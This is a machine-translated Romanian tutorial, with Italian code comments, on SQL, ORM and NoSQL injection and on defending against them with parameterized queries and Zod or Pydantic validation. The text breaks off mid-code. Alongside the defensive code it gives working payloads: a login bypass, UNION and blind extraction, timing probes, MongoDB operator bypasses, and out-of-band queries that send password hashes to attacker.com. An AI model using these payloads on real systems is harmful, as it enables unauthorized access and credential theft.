03 - Injecție SQL și validare a intrărilor: Securitate backend
Injecția SQL este una dintre cele mai vechi și mai periculoase vulnerabilități de pe web. Documentat pentru prima dată la sfârșitul anilor 1990 și încă în centrul încălcării catastrofale a datelor în prezent: în 2024, conform Verizon DBIR, injecțiile SQL și alte atacuri ale aplicațiilor web au provocat 26% din toate încălcările de date. Sunt așteptate mai multe în 2025 2.600 CVE legate de injecția SQL, în creștere de la 2.400 în 2024.
Nu este vorba doar de interogări SQL clasice. Astăzi amenințările se extind la injecție ORM pe TypeORM și Prisma, la Injecție NoSQL pe MongoDB și atacuri de a doua generație care exploatează datele deja prezente în baza de date. Acest articol analizează fiecare variantă cu cod vulnerabil și securizat în Node.js, Python și Java și oferă o strategie defensivă cuprinzătoare pentru backend.
Ce vei învăța
- Anatomia completă a unei injecții SQL: UNION, oarbă, bazată pe timp, bazată pe erori, în afara benzii
- Injecție SQL de ordinul doi: cum funcționează și de ce scapă de verificări superficiale
- Injecție ORM pe TypeORM și Prisma cu exemple practice
- Injecție NoSQL pe MongoDB cu operatori precum $ne și $regex
- Instrucțiuni pregătite și interogări parametrizate în Node.js, Python și Java
- Validarea intrărilor cu Zod (Node.js), Pydantic (Python) și Bean Validation (Java)
- Întărirea bazelor de date și principiul cel mai mic privilegiu
- Cum să utilizați SQLMap pentru a vă testa aplicațiile
- Studii de caz reale: MOVEit Transfer, TSA FlyCASS, ResumeLooters
Anatomia unei injecții SQL
O injecție SQL are loc atunci când Intrările nevalide ale utilizatorului sunt concatenate direct într-o interogare SQL, permițând atacatorului să modifice logica interogării în sine. Problema fundamentală, arhitecturală: tratarea datelor ca cod executabil.
Să luăm în considerare cel mai simplu caz, o pagină de conectare în Node.js care construiește interogarea cu concatenare de șiruri:
// CODICE VULNERABILE - Node.js con mysql2
const express = require('express');
const mysql = require('mysql2/promise');
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// VULNERABILE: concatenazione diretta di input utente
const query = `SELECT * FROM users
WHERE username = '${username}'
AND password = '${password}'`;
const [rows] = await db.execute(query);
if (rows.length > 0) {
res.json({ success: true, user: rows[0] });
} else {
res.status(401).json({ error: 'Credenziali non valide' });
}
});
// ATTACCO: username = "admin' --"
// Query risultante:
// SELECT * FROM users
// WHERE username = 'admin' --' AND password = '...'
// Il -- commenta il resto: accesso garantito senza password!
Cele cinci tipuri de injecție SQL
1. Clasic / Bazat pe UNION
Atacatorul folosește operatorul UNION pentru a adăuga o a doua interogare la rezultatele primei. Necesită ca răspunsul aplicației să includă datele de interogare:
-- Payload UNION-based: estrae utenti dalla tabella users
-- Input: id = 1 UNION SELECT username, password, NULL FROM users --
-- Query originale:
SELECT product_name, price, description FROM products WHERE id = 1
-- Query iniettata:
SELECT product_name, price, description FROM products WHERE id = 1
UNION SELECT username, password, NULL FROM users --
-- Prerequisito: stesso numero di colonne, tipi compatibili
2. Blind Boolean-Based
Aplicația nu afișează datele bazei de date, dar schimbă comportamentul (de exemplu, arată sau ascunde conținut) în funcție de adevărul/falsitatea condiției injectate. Atacatorul deduce informații bit cu bit:
-- Payload boolean-based: verifica se la prima lettera dell'utente e 'a'
-- Se la pagina risponde normalmente: condizione vera
-- Se la pagina e vuota: condizione falsa
-- Vero (pagina normale):
GET /product?id=1 AND SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a'
-- Falso (pagina vuota):
GET /product?id=1 AND SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='b'
-- Automatizzabile con sqlmap o script custom per estrarre dati carattere per carattere
3. Orb bazat pe timp
Când aplicația nu modifică răspunsul într-un mod vizibil, atacatorul folosește funcții care provoacă întârzieri în baza de date pentru a deduce informații din timpul de răspuns:
-- MySQL: SLEEP() per estrarre informazioni dal timing
-- Se la risposta impiega 5 secondi: condizione vera
-- Se risponde subito: condizione falsa
-- Verifica se il database si chiama 'production':
GET /product?id=1 AND IF(
(SELECT database())='production',
SLEEP(5),
0
) --
-- PostgreSQL equivalente con pg_sleep():
-- id=1; SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users --
-- Microsoft SQL Server:
-- id=1; IF (SELECT COUNT(*) FROM users WHERE username='admin')>0 WAITFOR DELAY '0:0:5'--
4. Bazat pe erori
Atacatorul forțează baza de date să genereze mesaje de eroare care conțin date extrase. Acest lucru funcționează atunci când aplicația arată utilizatorului erori de bază de date (configurare greșită frecventă în mediile de dezvoltare prost configurate pentru producție):
-- MySQL error-based: extractvalue() genera un errore con il valore estratto
-- id=1 AND extractvalue(1, concat(0x7e, (SELECT database())))
-- Errore restituito all'utente:
-- ERROR 1105 (HY000): XPATH syntax error: '~production_db'
-- L'attaccante ottiene il nome del database dall'errore!
-- PostgreSQL: cast di tipo per forzare errore
-- id=1 AND cast((SELECT version()) as int)
-- Error: invalid input syntax for type integer:
-- "PostgreSQL 15.2 on x86_64-pc-linux-gnu"
5. În afara benzii (OOB)
Tehnica avansată care exfiltrează datele prin canale alternative (căutare DNS, cerere HTTP) mai degrabă decât prin răspunsul HTTP normal. Util când canalele în bandă sunt blocate:
-- MySQL OOB via DNS (richiede FILE privilege e outbound DNS):
-- id=1 AND load_file(concat('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\x'))
-- Microsoft SQL Server OOB via HTTP (xp_dirtree o sp_makewebtask):
-- id=1; EXEC master..xp_dirtree '\\attacker.com\' + (SELECT TOP 1 password FROM users) + '\share'
-- L'attaccante vede la richiesta nei log DNS di attacker.com:
-- admin:5f4dcc3b5aa765d61d8327deb882cf99.attacker.com
Injecție SQL de ordinul doi: amenințarea ascunsă
La injecție SQL de ordinul doi (sau injecția SQL stocată) este una dintre cele mai insidioase vulnerabilități, deoarece scapă de verificările standard de securitate. Sarcina utilă nu este executată imediat după inserare, dar este salvate în baza de date si apoi preluat și utilizat într-o interogare ulterioară fără igienizare adecvată.
Acest scenariu este deosebit de periculos deoarece: codul de inserare poate fi corect și sigur, dar codul de citire și utilizare este vulnerabil. Testele de penetrare la suprafață o scapă adesea.
// SCENARIO: registrazione utente e cambio password
// FASE 1 - Registrazione (apparentemente sicura con prepared statement)
app.post('/register', async (req, res) => {
const { username, password } = req.body;
// Usa prepared statement - sembra sicuro!
await db.execute(
'INSERT INTO users (username, password) VALUES (?, ?)',
[username, hash(password)]
);
// L'attaccante si registra con username: admin'--
// Salvato correttamente nel DB come stringa: admin'--
});
// FASE 2 - Cambio password (VULNERABILE: costruisce query con dato dal DB)
app.post('/change-password', async (req, res) => {
const userId = req.session.userId;
// Recupera username dal DB (sembra "sicuro" perchè viene dal nostro DB)
const [userRows] = await db.execute(
'SELECT username FROM users WHERE id = ?',
[userId]
);
const username = userRows[0].username; // = "admin'--"
const { newPassword } = req.body;
// VULNERABILE: concatena username recuperato dal DB
const query = `UPDATE users SET password = '${hash(newPassword)}'
WHERE username = '${username}'`;
// Query risultante:
// UPDATE users SET password = 'newhash' WHERE username = 'admin'--'
// Aggiorna la password dell'admin, non dell'attaccante!
await db.execute(query);
});
// SOLUZIONE: usa parameterized query ANCHE quando i dati vengono dal DB
app.post('/change-password-safe', async (req, res) => {
const userId = req.session.userId;
const [userRows] = await db.execute(
'SELECT username FROM users WHERE id = ?',
[userId]
);
const username = userRows[0].username;
const { newPassword } = req.body;
// SICURO: prepared statement anche per dati interni
await db.execute(
'UPDATE users SET password = ? WHERE username = ?',
[hash(newPassword), username]
);
});
Regula de aur pentru injecția de ordinul doi
Tratați ÎNTOTDEAUNA datele care provin din baza de date ca nefiind de încredere, mai ales dacă a fost postat inițial de utilizatori. Doar pentru că ceva provine din baza ta de date nu îl face în mod automat sigur pentru utilizare într-o interogare. Utilizați întotdeauna interogări parametrizate, indiferent de sursa de date.
Interogări parametrizate: Apărarea principală
I declarații pregătite (sau interogările parametrizate) sunt cea mai eficientă măsură împotriva injectării SQL. Principiul este simplu: structura de interogare este trimisă în baza de date separat din date, în două faze distincte. Baza de date alcătuiește planul de execuție înainte de a primi datele, care, prin urmare, nu pot schimba logica interogării.
Node.js cu mysql2
// SICURO: parameterized queries con mysql2
const mysql = require('mysql2/promise');
const pool = mysql.createPool({
host: process.env.DB_HOST,
user: process.env.DB_USER,
password: process.env.DB_PASSWORD,
database: process.env.DB_NAME,
// Opzione di sicurezza: disabilita multiple statements
multipleStatements: false,
});
// Login sicuro
async function loginUser(username, password) {
// Il ? e un placeholder: mysql2 gestisce l'escaping automaticamente
const [rows] = await pool.execute(
'SELECT id, username, role FROM users WHERE username = ? AND password = ?',
[username, hashPassword(password)]
);
return rows[0] || null;
}
// Ricerca con LIKE sicura
async function searchProducts(searchTerm, category, limit = 20) {
// Anche i wildcard % devono essere nel parametro, non nella query
const likeTerm = `%${searchTerm}%`;
const [rows] = await pool.execute(
`SELECT id, name, price FROM products
WHERE name LIKE ? AND category = ?
LIMIT ?`,
[likeTerm, category, limit]
);
return rows;
}
// Inserimento sicuro con validazione
async function createUser(userData) {
const { username, email, password, role = 'user' } = userData;
// Whitelist per il campo role (non parametrizzabile come identifier)
const allowedRoles = ['user', 'moderator'];
if (!allowedRoles.includes(role)) {
throw new Error('Ruolo non valido');
}
const [result] = await pool.execute(
'INSERT INTO users (username, email, password_hash, role) VALUES (?, ?, ?, ?)',
[username, email, hashPassword(password), role]
);
return result.insertId;
}
Python cu psycopg2 (PostgreSQL)
# SICURO: parameterized queries con psycopg2
import psycopg2
import psycopg2.extras
from contextlib import contextmanager
@contextmanager
def get_db_connection():
conn = psycopg2.connect(
host=os.environ['DB_HOST'],
database=os.environ['DB_NAME'],
user=os.environ['DB_USER'],
password=os.environ['DB_PASSWORD']
)
try:
yield conn
finally:
conn.close()
def get_user_by_id(user_id: int) -> dict | None:
"""
Usa %s come placeholder (NON f-string o format()).
psycopg2 gestisce l'escaping dei parametri in modo sicuro.
"""
with get_db_connection() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
# Corretto: placeholder %s con tupla di parametri
cur.execute(
"SELECT id, username, email, role FROM users WHERE id = %s",
(user_id,) # Nota la virgola: deve essere una tupla
)
return cur.fetchone()
def search_users(filters: dict) -> list[dict]:
"""
Costruzione dinamica sicura di query con parametri multipli.
Evita di costruire SQL dinamico con concatenazione.
"""
conditions = []
params = []
if 'username' in filters:
conditions.append("username ILIKE %s")
params.append(f"%{filters['username']}%")
if 'role' in filters:
# Whitelist per valori enumerati
allowed_roles = {'user', 'admin', 'moderator'}
if filters['role'] not in allowed_roles:
raise ValueError(f"Ruolo non valido: {filters['role']}")
conditions.append("role = %s")
params.append(filters['role'])
where_clause = " AND ".join(conditions) if conditions else "TRUE"
query = f"SELECT id, username, email, role FROM users WHERE {where_clause}"
with get_db_connection() as conn:
with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur:
cur.execute(query, params)
return cur.fetchall()
# SBAGLIATO - Non fare mai questo:
# cur.execute(f"SELECT * FROM users WHERE id = {user_id}") # f-string = vulnerabile
# cur.execute("SELECT * FROM users WHERE id = " + str(user_id)) # concatenazione = vulnerabile
# cur.execute("SELECT * FROM users WHERE id = %s" % user_id) # % formatting = vulnerabile
Java cu JDBC PreparedStatement
// SICURO: PreparedStatement con JDBC in Java
import java.sql.*;
import java.util.Optional;
public class UserRepository {
private final DataSource dataSource;
public UserRepository(DataSource dataSource) {
this.dataSource = dataSource;
}
// SICURO: PreparedStatement parametrizzato
public Optional<User> findByUsername(String username) {
String sql = "SELECT id, username, email, role FROM users WHERE username = ?";
try (Connection conn = dataSource.getConnection();
PreparedStatement stmt = conn.prepareStatement(sql)) {
stmt.setString(1, username); // Parametro 1-indexed
ResultSet rs = stmt.executeQuery();
if (rs.next()) {
return Optional.of(new User(
rs.getLong("id"),
rs.getString("username"),
rs.getString("email"),
rs.getString("role")
));
}
return Optional.empty();
} catch (SQLException e) {
throw new DatabaseException("Errore nella ricerca utente", e);
}
}
// Inserimento sicuro con transazione
public long createUser(String username, String email, String passwordHash) {
String sql = "INSERT INTO users (username, email, password_hash, created_at) " +
"VALUES (?, ?, ?, NOW())";
try (Connection conn = dataSource.getConnection()) {
conn.setAutoCommit(false);
try (PreparedStatement stmt = conn.prepareStatement(
sql, Statement.RETURN_GENERATED_KEYS)) {
stmt.setString(1, username);
stmt.setString(2, email);
stmt.setString(3, passwordHash);
stmt.executeUpdate();
conn.commit();
ResultSet keys = stmt.getGeneratedKeys();
if (keys.next()) {
return keys.getLong(1);
}
throw new DatabaseException("Impossibile ottenere ID generato");
} catch (SQLException e) {
conn.rollback();
throw new DatabaseException("Errore creazione utente", e);
}
} catch (SQLException e) {
throw new DatabaseException("Errore connessione database", e);
}
}
// SBAGLIATO - Statement.execute() con concatenazione:
// String sql = "SELECT * FROM users WHERE username = '" + username + "'";
// stmt.execute(sql); // MAI fare questo!
}
Injecția ORM: Când „Sigur” nu este suficient
Mulți dezvoltatori cred în mod eronat că utilizarea unui ORM (Object-Relational Mapper) elimină automat riscul injectării SQL. În realitate, conform unui studiu din 2025, Peste 30% dintre aplicațiile care utilizează ORM conțin încă vulnerabilități de injectare SQL din cauza modelelor de utilizare incorecte. Să ne uităm la cele mai frecvente cazuri.
TypeORM: Interogări brute și QueryBuilder
// TypeORM - Pattern VULNERABILI vs SICURI
import { DataSource, Repository } from 'typeorm';
import { User } from './entities/User';
// VULNERABILE 1: query() con interpolazione di stringa
async function findUserVulnerable(username: string) {
const result = await dataSource.query(
`SELECT * FROM users WHERE username = '${username}'`
// Se username = "admin' OR '1'='1", bypass immediato!
);
return result;
}
// SICURO 1: query() con parametri posizionali
async function findUserSafe(username: string) {
const result = await dataSource.query(
'SELECT id, username, email FROM users WHERE username = $1',
[username] // Parametri come array separato
);
return result;
}
// VULNERABILE 2: QueryBuilder con where() e interpolazione
async function searchUserVulnerable(role: string, search: string) {
return await dataSource
.createQueryBuilder(User, 'user')
.where(`user.role = '${role}' AND user.username LIKE '%${search}%'`)
// Interpolazione diretta = SQL injection!
.getMany();
}
// SICURO 2: QueryBuilder con parametri nominati
async function searchUserSafe(role: string, search: string) {
// Whitelist per campi enumerati come role
const allowedRoles = ['user', 'admin', 'moderator'] as const;
if (!allowedRoles.includes(role as any)) {
throw new Error('Ruolo non valido');
}
return await dataSource
.createQueryBuilder(User, 'user')
.where('user.role = :role AND user.username LIKE :search', {
role, // Parametro nominato :role
search: `%${search}%` // Il % viene nel parametro, non nella query
})
.select(['user.id', 'user.username', 'user.email'])
.getMany();
}
// SICURO 3: Repository API (il modo più sicuro con TypeORM)
async function findUsersByRoleSafe(
userRepository: Repository<User>,
role: string
) {
return await userRepository.findBy({ role });
// TypeORM genera automaticamente query parametrizzate
}
// SICURO 4: find() con condizioni complesse
async function findActiveUsersSafe(
userRepository: Repository<User>
) {
return await userRepository.find({
where: {
isActive: true,
role: 'user'
},
select: {
id: true,
username: true,
email: true
},
take: 100 // Limita i risultati
});
}
Prism: Cazul $queryRaw
Prisma este în general considerat sigur pentru interogări standard, dar metode $queryRaw e $executeRaw necesită o atenție specială. Cercetările din 2025 au arătat că Prisma poate fi vulnerabilă la atacuri bazat pe timp prin operatori JSON și funcții de bază de date.
// Prisma - Pattern VULNERABILI vs SICURI
import { PrismaClient } from '@prisma/client';
const prisma = new PrismaClient();
// VULNERABILE: $queryRaw con template literal non sicuro
async function getUserVulnerable(userId: string) {
// MAI usare $queryRawUnsafe con input utente!
const result = await prisma.$queryRawUnsafe(
`SELECT * FROM users WHERE id = ${userId}`
// userId = "1 OR 1=1" bypassa il filtro!
);
return result;
}
// SICURO 1: $queryRaw con tagged template literals
// Prisma parametrizza automaticamente le interpolazioni nel tagged template
async function getUserSafe(userId: number) {
// Nota: usa Prisma.sql template tag, NON stringa normale
const result = await prisma.$queryRaw`
SELECT id, username, email FROM users WHERE id = ${userId}
`;
// Prisma converte ${userId} in un parametro preparato automaticamente
return result;
}
// SICURO 2: Usa l'API standard di Prisma quando possibile
async function getUserWithOrders(userId: number) {
return await prisma.user.findUnique({
where: { id: userId },
select: {
id: true,
username: true,
email: true,
orders: {
where: { status: 'active' },
take: 10
}
}
});
// Completamente sicuro: Prisma genera prepared statements
}
// ATTENZIONE: Prisma findMany con where esposto all'utente
// VULNERABILE: ORM Leak - espone troppi dati
async function searchUsersVulnerable(userFilter: any) {
return await prisma.user.findMany({
where: userFilter, // L'utente controlla il where = ORM Leak!
// Un attaccante può usare: { password: { startsWith: 'a' } }
// Per estrarre la password carattere per carattere (timing attack)
});
}
// SICURO: schema di validazione strict per i filtri
import { z } from 'zod';
const UserSearchSchema = z.object({
username: z.string().max(50).optional(),
email: z.string().email().optional(),
role: z.enum(['user', 'moderator']).optional(),
});
async function searchUsersSafe(rawFilter: unknown) {
// Valida e trasforma il filtro con schema strict
const validFilter = UserSearchSchema.parse(rawFilter);
return await prisma.user.findMany({
where: validFilter, // Solo campi consentiti e validati
select: { // Seleziona esplicitamente i campi
id: true,
username: true,
email: true,
role: true,
},
take: 50,
});
}
Injecție NoSQL: MongoDB și operatori periculoși
Aplicațiile care folosesc baze de date NoSQL precum MongoDB nu sunt imune la injecții. Atacurile NoSQL exploatează operatori de interogare a bazei de date (cum ar fi $ne, $gt, $regex) pentru a modifica logica interogării. Vectorul de atac tipic este un corp JSON malformat într-o solicitare HTTP.
// MongoDB con Mongoose - VULNERABILE
const express = require('express');
const User = require('./models/User');
// VULNERABILE: usa direttamente req.body come query MongoDB
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// Se il body e: { "username": { "$ne": null }, "password": { "$ne": null } }
// La query diventa: WHERE username != null AND password != null
// Ritorna il PRIMO utente nel DB, bypass completo!
const user = await User.findOne({ username, password });
if (user) {
res.json({ token: generateToken(user) });
} else {
res.status(401).json({ error: 'Non autorizzato' });
}
});
// Payload di attacco (come JSON body):
// {
// "username": { "$ne": null },
// "password": { "$ne": null }
// }
// Altri payload comuni:
// { "username": { "$regex": ".*" } } -- match qualsiasi username
// { "password": { "$gt": "" } } -- password > stringa vuota (sempre vero)
// { "username": { "$in": ["admin", "root", "administrator"] } }
// MongoDB con Mongoose - SICURO
const express = require('express');
const mongoose = require('mongoose');
const mongoSanitize = require('express-mongo-sanitize');
const { z } = require('zod');
const bcrypt = require('bcrypt');
// 1. Middleware globale di sanitizzazione
app.use(mongoSanitize({
replaceWith: '_', // Sostituisce $ con _ negli operatori
onSanitizeError(req, res) {
res.status(400).json({ error: 'Input non valido' });
}
}));
// 2. Schema Zod per validazione strict del tipo
const LoginSchema = z.object({
username: z.string().min(3).max(50).regex(/^[a-zA-Z0-9_]+$/),
password: z.string().min(8).max(128),
});
// SICURO: validazione + hashing password + nessuna query con password in chiaro
app.post('/login', async (req, res) => {
try {
// Valida il tipo: username e password DEVONO essere stringhe
const { username, password } = LoginSchema.parse(req.body);
// Cerca per username (stringa validata, non oggetto)
const user = await User.findOne({ username }).select('+password');
if (!user) {
// Tempo di risposta costante per prevenire timing attacks
await bcrypt.compare(password, '$2b$10$placeholder.hash.here.for.timing');
return res.status(401).json({ error: 'Credenziali non valide' });
}
// Verifica password con bcrypt (non in chiaro nel DB)
const isValid = await bcrypt.compare(password, user.password);
if (!isValid) {
return res.status(401).json({ error: 'Credenziali non valide' });
}
res.json({ token: generateToken(user) });
} catch (error) {
if (error instanceof z.ZodError) {
return res.status(400).json({ error: 'Formato input non valido' });
}
// Non esporre dettagli dell'errore interno
res.status(500).json({ error: 'Errore del server' });
}
});
// 3. Mongoose schema con strict mode (default: true)
const userSchema = new mongoose.Schema({
username: { type: String, required: true, unique: true },
email: { type: String, required: true },
password: { type: String, required: true, select: false },
role: { type: String, enum: ['user', 'admin', 'moderator'], default: 'user' }
}, {
strict: true, // Ignora campi non definiti nello schema
// sanitizeFilter: true // Mongoose 6+: sanitizza automaticamente i query operator
});
// 4. Usa sanitizeFilter per query che accettano filtri utente
const UserModel = mongoose.model('User', userSchema);
async function findUsersByFilter(rawFilter) {
// sanitizeFilter: true nel modello previene ORM injection
// oppure usa questo approccio esplicito:
return await UserModel.find(rawFilter).sanitizeFilter(true);
}
Validarea intrării: Prima linie de apărare
Interogările parametrizate protejează împotriva injectării SQL, darvalidarea intrărilor este prima barieră defensivă și reduce semnificativ suprafața de atac. Validarea robustă urmează principiul lista de permise (specificați ce este permis) mai degrabă decât lista de blocare (specificați ce este interzis).
Zod pentru Node.js/TypeScript
// Input validation con Zod - Node.js/TypeScript
import { z } from 'zod';
// Schema riutilizzabile per parametri comuni
const IdSchema = z.coerce.number().int().positive().max(2147483647);
const PaginationSchema = z.object({
page: z.coerce.number().int().min(1).default(1),
limit: z.coerce.number().int().min(1).max(100).default(20),
sortBy: z.enum(['created_at', 'username', 'email']).default('created_at'),
sortOrder: z.enum(['asc', 'desc']).default('desc'),
});
// Schema per creazione utente
const CreateUserSchema = z.object({
username: z
.string()
.min(3, 'Username troppo corto')
.max(50, 'Username troppo lungo')
.regex(/^[a-zA-Z0-9_-]+$/, 'Caratteri non consentiti nell\'username'),
email: z
.string()
.email('Formato email non valido')
.max(255),
password: z
.string()
.min(8, 'Password troppo corta')
.max(128, 'Password troppo lunga')
.regex(
/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])/,
'La password deve contenere maiuscole, minuscole, numeri e caratteri speciali'
),
role: z.enum(['user', 'moderator']).default('user'),
});
// Middleware di validazione generico per Express
function validateBody<T>(schema: z.ZodSchema<T>) {
return (req: Request, res: Response, next: NextFunction) => {
const result = schema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({
error: 'Dati non validi',
details: result.error.issues.map(issue => ({
field: issue.path.join('.'),
message: issue.message,
})),
});
}
req.body = result.data; // Sostituisce con dati validati e tipizzati
next();
};
}
function validateQuery<T>(schema: z.ZodSchema<T>) {
return (req: Request, res: Response, next: NextFunction) => {
const result = schema.safeParse(req.query);
if (!result.success) {
return res.status(400).json({
error: 'Parametri query non validi',
details: result.error.issues,
});
}
req.validatedQuery = result.data;
next();
};
}
// Uso nei router
app.post('/api/users',
validateBody(CreateUserSchema),
async (req, res) => {
// req.body e ora tipizzato e validato
const user = await createUser(req.body);
res.status(201).json({ id: user.id });
}
);
app.get('/api/products',
validateQuery(PaginationSchema),
async (req, res) => {
const { page, limit, sortBy, sortOrder } = req.validatedQuery;
const products = await getProducts(page, limit, sortBy, sortOrder);
res.json(products);
}
);
Pydantic pentru Python/FastAPI
# Input validation con Pydantic v2 - Python/FastAPI
from pydantic import BaseModel, Field, field_validator, EmailStr
from typing import Literal
from enum import Enum
import re
class UserRole(str, Enum):
user = "user"
moderator = "moderator"
admin = "admin"
class CreateUserRequest(BaseModel):
username: str = Field(
min_length=3,
max_length=50,
description="Username alfanumerico"
)
email: EmailStr
password: str = Field(min_length=8, max_length=128)
role: UserRole = UserRole.user
@field_validator('username')
@classmethod
def username_alphanumeric(cls, v: str) -> str:
if not re.match(r'^[a-zA-Z0-9_-]+






